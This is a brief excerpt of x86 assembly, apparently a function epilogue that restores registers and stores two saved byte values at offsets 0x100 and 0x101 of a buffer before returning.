mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret